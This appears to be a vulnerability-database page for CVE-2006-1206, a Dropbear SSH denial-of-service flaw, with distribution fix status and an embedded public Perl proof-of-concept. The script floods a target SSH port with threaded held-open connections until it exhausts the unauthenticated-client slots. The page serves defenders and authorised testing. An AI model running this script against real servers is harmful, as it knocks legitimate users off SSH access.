CVE-2006-1206
Description
Matt Johnston Dropbear SSH server 0.47 and earlier, as used in embedded Linux devices and on general-purpose operating systems, allows remote attackers to cause a denial of service (connection slot exhaustion) via a large number of connection attempts that exceeds the MAX_UNAUTH_CLIENTS defined value of 30.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service
#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
# if (childpipes[j] < 0) {
# break;
# }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
# /* no free connections */
# /* TODO - possibly log, though this would be an easy way
# * to fill logs/disk */
# close(childsock);
# continue;
# }
## /str0ke (milw0rm.com)
use IO::Socket;
use Thread;
use strict;
# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;
sub usage
{
print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
print "by /str0ke (milw0rm.com)\n";
print "Credits to Pablo Fernandez\n";
print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
exit ();
}
sub exploit
{
my ($serv, $port, $sleep) = @_;
my $sock = new IO::Socket::INET ( PeerAddr => $serv,
PeerPort => $port,
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
sleep $sleep;
close($sock);
}
sub thread {
print "Server: $serv\nPort: $port\nSeconds: $time\n";
for my $i ( 1 .. 51 ) {
print ".";
my $thr = new Thread \&exploit, $serv, $port, $time;
}
sleep $time; #detach wouldn't be good
}
if (@ARGV != 3){&usage;}else{&thread;}
# milw0rm.com [2006-03-10]
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.48-1 |
| sid | Fixed | 0.48-1 |
| forky | Fixed | 0.48-1 |
| bullseye | Fixed | 0.48-1 |
| bookworm | Fixed | 0.48-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.